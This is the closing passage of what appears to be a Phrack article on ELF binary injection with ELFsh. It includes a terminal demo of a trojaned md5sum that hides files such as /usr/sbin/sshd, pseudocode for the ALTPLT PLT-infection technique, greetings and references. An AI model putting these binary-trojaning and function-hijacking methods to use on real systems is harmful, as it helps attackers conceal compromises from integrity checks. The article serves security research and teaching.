[50] 0x8045264 FUNC old_getopt_long sz:16 scop:Local
|
|
[51] 0x8045274 FUNC old_fopen64 sz:16 scop:Local
|
|
[52] 0x8045284 FUNC old_exit sz:16 scop:Local
|
|
[53] 0x8045294 FUNC old_calloc sz:16 scop:Local
|
|
[54] 0x80452a4 FUNC old__IO_putc sz:16 scop:Local
|
|
[55] 0x80452b4 FUNC old_free sz:16 scop:Local
|
|
[56] 0x80452c4 FUNC old_error sz:16 scop:Local
|
|
$
|
|
-----END EXAMPLE 19-----
|
|
|
|
|
|
It sounds good ! Does it work now?
|
|
|
|
|
|
|
|
$ md5sum /bin/bash
|
|
ebe1f822a4d026c366c8b6294d828c87 /bin/bash
|
|
$ ./md5sum.new /bin/bash
|
|
ebe1f822a4d026c366c8b6294d828c87 /bin/bash
|
|
|
|
$ md5sum /bin/ls
|
|
3b622e661f6f5c79376c73223ebd7f4d /bin/ls
|
|
$ ./md5sum.new /bin/ls
|
|
./md5sum.new: /bin/ls: No such file or directory
|
|
|
|
$ md5sum /usr/sbin/sshd
|
|
720784b7c1e5f3418710c7c5ebb0286c /usr/sbin/sshd
|
|
$ ./md5sum.new /usr/sbin/sshd
|
|
./md5sum.new: /usr/sbin/sshd: No such file or directory
|
|
|
|
$ ./md5sum.new ./md5sum.new
|
|
b52b87802b7571c1ebbb10657cedb1f6 ./md5sum.new
|
|
$ ./md5sum.new /usr/bin/md5sum
|
|
8beca981a42308c680e9669166068176 /usr/bin/md5sum
|
|
$
|
|
|
|
|
|
Heheh. It work so well that even if you forget to put the original
|
|
copy in your hidden directory, md5sum prints the original path and
|
|
not your hidden directory path ;). This is because we only change a
|
|
local pointer in the fopen64_troj() function, and the caller function
|
|
is not aware of the modification, so the caller error message is
|
|
proceeded with the original path.
|
|
|
|
Let's give the detailed algorithm for the ALTPLT technique. It must
|
|
be used as a '2 bis' step in the main ET_REL injection algorithm
|
|
given in the previous chapter, so that injected code can use any
|
|
old_* symbols:
|
|
|
|
|
|
- Create new section header with same size, type, rights as .plt
|
|
- Insert new section header
|
|
IF current OS == FreeBSD
|
|
[
|
|
- Inject section using post-bss technique.
|
|
]
|
|
ELSE
|
|
[
|
|
- Inject section using pre-interp technique.
|
|
]
|
|
FOREACH .plt entry (while counter < sh_size)
|
|
[
|
|
IF counter == 0 AND current architecture is SPARC
|
|
[
|
|
- Infect current entry using %g2 register.
|
|
]
|
|
- Inject new 'old_<name>' symbol pointing on current entry
|
|
(= sh_addr + cnt)
|
|
- Add PLT entry size in bytes (SPARC: 12, INTEL: 16) to cnt
|
|
]
|
|
|
|
|
|
This algorithm is executed once and only once per ET_EXEC file. The
|
|
'redir' command actually performs the PLT infection on demand. A
|
|
future (better) version of this command would allow core binary
|
|
function hijacking. Since the code segment is read-only in userland,
|
|
we cant modify the first bytes of the function at runtime and perform
|
|
some awful bytes restoration [13] [14] for calling back the original
|
|
function. The best solution is probably to build full control flow
|
|
graphs for the target architecture, and redirect all calls to a given
|
|
block (e.g. the first block of the hijacked function), making all
|
|
these calls point to the hook function, as suggested in [15] . ELFsh
|
|
provides INTEL control flow graphs (see modflow/modgraph), so does
|
|
objobf [16], but the feature is not yet available for other
|
|
architectures, and some specific indirect branchement instructions
|
|
are not easily predictable [17] using static analysis only, so it
|
|
remains in the TODO.
|
|
|
|
|
|
-------[ 5. The end ?
|
|
|
|
|
|
This is the end, beautiful friend. This is the end, my only friend,
|
|
the end... Of course, there is a lot of place for improvements and new
|
|
features in this area. More target architectures are planed (pa-risc,
|
|
alpha, ppc?), as well as more ELF objects support (version tables,
|
|
ELF64) and extension for the script langage with simple data and
|
|
control flow support. The ELF development is made easy using the
|
|
libelfsh API and the script engine. Users are invited to improve the
|
|
framework and all comments are really welcomed.
|
|
|
|
|
|
-------[ 6. Greets
|
|
|
|
|
|
Greets go to #!dh and #dnerds peoples, you know who you are. Special
|
|
thanks to duncan @ mygale and zorgon for beeing cool-asses and giving
|
|
precious feedback.
|
|
|
|
Other thanks, in random order : Silvio Cesare for his great work on
|
|
the first generation ELF techniques (I definitely learnt a lot from
|
|
you), all the ELFsh betatesters & contributors (y0 kil3r and thegrugq)
|
|
who greatly helped to provide reliable and portable software, pipash for
|
|
finding all the 76 char lenght lines of the article (your feedback
|
|
r00lz as usual ;) , grsecurity.net (STBWH) for providing a useful
|
|
sparc/linux account, and Shaun Clowes for giving good hints.
|
|
|
|
Last minut big thanks to the M1ck3y M0us3 H4ck1ng Squ4dr0n and all the
|
|
peoples at Chaos Communication Camp 2003 (hi Bulba ;) for the great
|
|
time I had with them during those days, you guyz rock.
|
|
|
|
|
|
-------[ 7. References
|
|
|
|
|
|
[1] The ELF shell project The ELF shell crew
|
|
MAIN : elfsh.devhell.org
|
|
MIRROR : elfsh.segfault.net
|
|
|
|
[2] PaX project The PaX team
|
|
pageexec.virtualave.net
|
|
|
|
[3] ELF TIS reference
|
|
x86.ddj.com/ftp/manuals/tools/elf.pdf
|
|
www.sparc.com/standards/psABI3rd.pdf (SPARC supplement)
|
|
|
|
[4] UNIX ELF parasites and virus silvio
|
|
www.u-e-b-i.com/silvio/elf-pv.txt
|
|
|
|
[5] Shared library redirection by ELF PLT infection silvio
|
|
phrack.org/phrack/56/p56-0x07
|
|
|
|
[6] Understanding ELF rtld internals mayhem
|
|
devhell.org/~mayhem/papers/elf-rtld.txt
|
|
|
|
[7] More ELF buggery (bugtraq post) thegrugq
|
|
www.securityfocus.com/archive/1/274283/2002-05-21/2002-05-27/0
|
|
|
|
[8] Runtime process infection anonymous
|
|
phrack.org/phrack/59/p59-0x08.txt
|
|
|
|
[9] Subversive ELF dynamic linking thegrugq
|
|
downloads.securityfocus.com/library/subversiveld.pdf
|
|
|
|
[10] Static kernel patching jbtzhm
|
|
phrack.org/phrack/60/p60-0x08.txt
|
|
|
|
[11] Run-time kernel patching silvio
|
|
www.u-e-b-i.com/silvio/runtime-kernel-kmem-patching.txt
|
|
|
|
[12] Bypassing stackguard and stackshield bulba/kil3r
|
|
phrack.org/phrack/56/p56-0x05
|
|
|
|
[13] Kernel function hijacking silvio
|
|
www.u-e-b-i.com/silvio/kernel-hijack.txt
|
|
|
|
[14] IA32 advanced function hooking mayhem
|
|
phrack.org/phrack/58/p58-0x08
|
|
|
|
[15] Unbodyguard (solaris kernel function hijacking) noir
|
|
gsu.linux.org.tr/~noir/b.tar.gz
|
|
|
|
[16] The object code obfuscator tool of burneye2 scut
|
|
segfault.net/~scut/objobf/
|
|
|
|
[17] Secure Execution Via Program Shepherding Vladimir Kiriansky
|
|
www.cag.lcs.mit.edu/dynamorio/security-usenix.pdf Derek Bruening
|
|
Saman Amarasinghe
|
|
|
|
|=[ EOF ]=---------------------------------------------------------------=|
|
|
|